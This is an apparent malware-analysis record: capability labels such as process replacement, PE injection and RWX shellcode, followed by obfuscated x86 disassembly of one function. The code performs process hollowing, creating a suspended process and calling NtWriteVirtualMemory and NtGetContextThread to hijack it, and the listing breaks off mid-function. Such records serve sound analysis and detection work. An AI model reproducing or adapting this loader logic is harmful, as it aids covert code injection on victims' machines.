Function at 0x100080b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x1006ca00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0x92dce0cb
sub edx, 1
add edx, 0x92dce0cb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x16d], al
mov dword [ebp - 0x174], 0x25f62c2c
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x811bd5d8
je 0x1000ca3d
jmp 0x1000812b
mov eax, dword [ebp - 0x178]
sub eax, 0x81674433
je 0x1000bee1
jmp 0x10008141
mov eax, dword [ebp - 0x178]
sub eax, 0x82a2e546
je 0x1000d34f
jmp 0x10008157
mov eax, dword [ebp - 0x178]
sub eax, 0x82fcdc57
je 0x1000c42d
jmp 0x1000816d
mov eax, dword [ebp - 0x178]
sub eax, 0x832adabf
je 0x1000ba95
jmp 0x10008183
mov eax, dword [ebp - 0x178]
sub eax, 0x83b1b598
je 0x1000c50c
jmp 0x10008199
mov eax, dword [ebp - 0x178]
sub eax, 0x843d4d0a
je 0x1000e6a9
jmp 0x100081af
mov eax, dword [ebp - 0x178]
sub eax, 0x850119b7
je 0x1000bc8e
jmp 0x100081c5
mov eax, dword [ebp - 0x178]
sub eax, 0x8586835c
je 0x1000d4b3
jmp 0x100081db
mov eax, dword [ebp - 0x178]
sub eax, 0x86a1fc24
je 0x1000a7e3
jmp 0x100081f1
mov eax, dword [ebp - 0x178]
sub eax, 0x87abe91f
je 0x1000bfc4
jmp 0x10008207
mov eax, dword [ebp - 0x178]
sub eax, 0x8876ad36
je 0x1000c96d
jmp 0x1000821d
mov eax, dword [ebp - 0x178]
sub eax, 0x8a834816
je 0x1000dfb5
jmp 0x10008233
mov eax, dword [ebp - 0x178]
sub eax, 0x8ac0f30b
je 0x1000b230
jmp 0x10008249
mov eax, dword [ebp - 0x178]
sub eax, 0x8ad42c9c
je 0x1000f315
jmp 0x1000825f
mov eax, dword [ebp - 0x178]
sub eax, 0x8cdf956b
je 0x1000f324
jmp 0x10008275
mov eax, dword [ebp - 0x178]
sub eax, 0x8d4625a3
je 0x10009fa0
jmp 0x1000828b
mov eax, dword [ebp - 0x178]
sub eax, 0x8e294331
je 0x1000a4b5
jmp 0x100082a1
mov eax, dword [ebp - 0x178]
sub eax, 0x8ea388b4
je 0x1000b6e1
jmp 0x100082b7
mov eax, dword [ebp - 0x178]
sub eax, 0x8f46bbd2
je 0x1000a1c2
jmp 0x100082cd
mov eax, dword [ebp - 0x178]
sub eax, 0x91b455b8
je 0x1000f455
jmp 0x100082e3
mov eax, dword [ebp - 0x178]
sub eax, 0x91ba97c1
je 0x1000d9c4
jmp 0x100082f9
mov eax, dword [ebp - 0x178]
sub eax, 0x92564e6a
je 0x1000ca0f
jmp 0x1000830f
mov eax, dword [ebp - 0x178]
sub eax, 0x92faef61
je 0x1000f176
jmp 0x10008325
mov eax, dword [ebp - 0x178]
sub eax, 0x93350eb5
je 0x1000e44f
jmp 0x1000833b
mov eax, dword [ebp - 0x178]
sub eax, 0x93cdf1a7
je 0x1000f185
jmp 0x10008351
mov eax, dword [ebp - 0x178]
sub eax, 0x942a1992
je 0x1000f226
jmp 0x10008367
mov eax, dword [ebp - 0x178]
sub eax, 0x94d37f89
je 0x1000f306
jmp 0x1000837d
mov eax, dword [ebp - 0x178]
sub eax, 0x95244d23
je 0x1000f159
jmp 0x10008393
mov eax, dword [ebp - 0x178]
sub eax, 0x9672d452
je 0x1000aa1e
jmp 0x100083a9
mov eax, dword [ebp - 0x178]
sub eax, 0x970b04c3
je 0x1000b0fe
jmp 0x100083bf
mov eax, dword [ebp - 0x178]
sub eax, 0x9729964d
je 0x1000eb70
jmp 0x100083d5
mov eax, dword [ebp - 0x178]
sub eax, 0x97e5edd3
je 0x1000e6ca
jmp 0x100083eb
mov eax, dword [ebp - 0x178]
sub eax, 0x992fa504
je 0x1000a9a8
jmp 0x10008401
mov eax, dword [ebp - 0x178]
sub eax, 0x99ca1112
je 0x1000c135
jmp 0x10008417
mov eax, dword [ebp - 0x178]
sub eax, 0x9a7707ab
je 0x1000ce4a
jmp 0x1000842d
mov eax, dword [ebp - 0x178]
sub eax, 0x9cb8cf45
je 0x1000a091
jmp 0x10008443
mov eax, dword [ebp - 0x178]
sub eax, 0x9db30a87
je 0x1000f77f
jmp 0x10008459
mov eax, dword [ebp - 0x178]
sub eax, 0x9ddb80dd
je 0x1000efbd
jmp 0x1000846f
mov eax, dword [ebp - 0x178]
sub eax, 0x9e23dae4
je 0x1000b864
jmp 0x10008485
mov eax, dword [ebp - 0x178]
sub eax, 0x9f11e160
je 0x1000d7e0
jmp 0x1000849b
mov eax, dword [ebp - 0x178]
sub eax, 0x9f3594ca
je 0x1000c4a3
jmp 0x100084b1
mov eax, dword [ebp - 0x178]
sub eax, 0xa0063597
je 0x1000a59b
jmp 0x100084c7
mov eax, dword [ebp - 0x178]
sub eax, 0xa0e777b1
je 0x1000ad3b
jmp 0x100084dd
mov eax, dword [ebp - 0x178]
sub eax, 0xa1efce9b
je 0x1000b763
jmp 0x100084f3
mov eax, dword [ebp - 0x178]
sub eax, 0xa3746db6
je 0x1000f02e
jmp 0x10008509
mov eax, dword [ebp - 0x178]
sub eax, 0xa3868663
je 0x1000c641
jmp 0x1000851f
mov eax, dword [ebp - 0x178]
sub eax, 0xa411cf8a
je 0x1000cd7b
jmp 0x10008535
mov eax, dword [ebp - 0x178]
sub eax, 0xa4f41a48
je 0x1000cf6d
jmp 0x1000854b
mov eax, dword [ebp - 0x178]
sub eax, 0xa7b6ac9f
je 0x1000f3de
jmp 0x10008561
mov eax, dword [ebp - 0x178]
sub eax, 0xa7c708eb
je 0x1000c582
jmp 0x10008577
mov eax, dword [ebp - 0x178]
sub eax, 0xa89b9f7e
je 0x1000ee2a
jmp 0x1000858d
mov eax, dword [ebp - 0x178]
sub eax, 0xa8c1d506
je 0x1000d653
jmp 0x100085a3
mov eax, dword [ebp - 0x178]
sub eax, 0xa8c535ba
je 0x1000b8f5
jmp 0x100085b9
mov eax, dword [ebp - 0x178]
sub eax, 0xaadac113
je 0x1000f55d
jmp 0x100085cf
mov eax, dword [ebp - 0x178]
sub eax, 0xac5b70c4
je 0x1000cfda
jmp 0x100085e5
mov eax, dword [ebp - 0x178]
sub eax, 0xacde8046
je 0x1000b4b0
jmp 0x100085fb
mov eax, dword [ebp - 0x178]
sub eax, 0xad27f14e
je 0x1000c1f4
jmp 0x10008611
mov eax, dword [ebp - 0x178]
sub eax, 0xade86b61
je 0x1000f01c
jmp 0x10008627
mov eax, dword [ebp - 0x178]
sub eax, 0xae9d85e8
je 0x1000b352
jmp 0x1000863d
mov eax, dword [ebp - 0x178]
sub eax, 0xb03b9c1d
je 0x1000a133
jmp 0x10008653
mov eax, dword [ebp - 0x178]
sub eax, 0xb0a2d43c
je 0x1000f6b3
jmp 0x10008669
mov eax, dword [ebp - 0x178]
sub eax, 0xb0dcf768
je 0x1000c74e
jmp 0x1000867f
mov eax, dword [ebp - 0x178]
sub eax, 0xb10fa7f7
je 0x1000db59
jmp 0x10008695
mov eax, dword [ebp - 0x178]
sub eax, 0xb16637e8
je 0x1000ae3b
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x174], 0x36b2ba74
jmp 0x1000f860
mov dword [ebp - 0x174], 0x38a4b4da
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x97e5edd3
mov ecx, 0xff3ea7fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
add edx, 0x3fae166f
sub edx, 1
sub edx, 0x3fae166f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6aed2eec
mov ecx, 0x268d4bb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0xed0ecfc3
jmp 0x1000f860
mov dword [ebp - 0x174], 0xc14eabbb
jmp 0x1000f860
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x43f723c0
mov ecx, 0x62fc6672
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
add edx, 0xe1f34287
sub edx, 1
sub edx, 0xe1f34287
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed35473b
mov ecx, 0x9672d452
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0xc8], eax
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
add edx, 0x52ca233
sub edx, 1
sub edx, 0x52ca233
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed35473b
mov ecx, 0x3d36e91e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b5f64c6
mov ecx, 0x7185f352
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x174], 0xe8692493
jmp 0x1000f860
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x16c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x148]
mov edx, dword [edx]
mov esi, dword [ebp - 0x15c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x174], 0xe43ecb53
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0x40f84328
sub edx, 1
add edx, 0x40f84328
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x53dcea6a
mov ecx, 0xf6094bfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
mov edx, eax
sub edx, 0x8aaf9b0a
sub edx, 1
add edx, 0x8aaf9b0a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe405ccf
mov ecx, 0x49c708fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0x226126f1
jmp 0x1000f860
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0xa0]
mov dword [eax], ecx
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb6ea314a
mov ecx, 0x79d74da9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x76ff61b2
mov ecx, 0xa8c535ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0x3d1f7edb
jmp 0x1000f860
mov eax, dword [ebp - 0x88]
mov edx, dword [eax + 0x14]
mov ecx, dword [ebp - 0x8c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov esi, dword [ebp - 0x128]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0x7501d95c
add edx, eax
add edx, 0x7501d95c
mov eax, dword [ebp - 0x15c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x90]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x128]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10007d10
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x138]
mov esi, dword [eax]
mov eax, dword [ebp - 0x128]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xd2a75be3
mov ecx, 0xda61661
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x57877bb0
mov ecx, 0x53e88612
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8f4f33a
mov ecx, 0x22a2cbd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0xb7fa885a
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ad42c9c
mov ecx, 0x1d7c4b29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
add ecx, 0xa55cfad9
add ecx, 1
sub ecx, 0xa55cfad9
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21aa2bee
mov ecx, 0xc23984da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0x59eedfb9
sub edx, 1
add edx, 0x59eedfb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf3ea4c5
mov ecx, 0x9f3594ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [ebp - 0x140]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x6d], al
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf3ea4c5
mov ecx, 0xf0dd7aec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0xc103a70e
sub edx, 1
add edx, 0xc103a70e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd64d4c56
mov ecx, 0xa7c708eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0x1b555605
sub edx, 1
add edx, 0x1b555605
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd64d4c56
mov ecx, 0x6eecd9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0xbdfe1670
sub edx, 1
add edx, 0xbdfe1670
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd30c6ad6
mov ecx, 0x3b3d4a39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
mov edx, eax
add edx, 0xdf77ff69
sub edx, 1
sub edx, 0xdf77ff69
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x487cbc70
mov ecx, 0x7f4a6222
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
mov edx, eax
sub edx, 0x233047f3
sub edx, 1
add edx, 0x233047f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79388b5c
mov ecx, 0x729a08c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0x75258342
jmp 0x1000f860
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x174], 0xd43c5110
jmp 0x1000f860
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7b6ac9f
mov ecx, 0xc255c4f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0x17a088dc
jmp 0x1000f860
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
add eax, 0xd00edbc8
add eax, ecx
sub eax, 0xd00edbc8
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x3b52e0
or eax, edx
or ecx, 0x3b52e0
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x174], 0xac5b70c4
jmp 0x1000f860
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0x8586835c
mov ecx, 0x9e8f79f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91b455b8
mov ecx, 0xf8da6eba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0x4803ef98
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0x7166ee54
sub edx, 1
add edx, 0x7166ee54
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x14112833
mov ecx, 0xc6282df0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0xf0493aa8
jmp 0x1000f860
mov dword [ebp - 0x174], 0xe0b4138e
jmp 0x1000f860
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
add edx, 0xc34948a6
sub edx, 1
sub edx, 0xc34948a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd579dc1a
mov ecx, 0x3de075fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x1c]
add ecx, 0x949dc065
add ecx, eax
sub ecx, 0x949dc065
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
